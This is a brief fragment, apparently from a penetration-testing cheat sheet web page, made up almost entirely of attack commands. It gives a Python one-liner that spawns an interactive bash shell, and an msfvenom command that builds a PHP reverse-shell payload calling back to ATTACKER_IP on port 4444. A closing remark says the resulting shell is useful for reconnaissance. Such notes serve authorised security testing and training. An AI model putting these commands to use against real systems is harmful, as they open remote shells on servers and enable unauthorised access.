Skip to main content

python -c 'import pty;pty.spawn("/bin/bash")'

: msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.php

No TTY interaction (no su , vim , or nano ), but great for reconnaissance.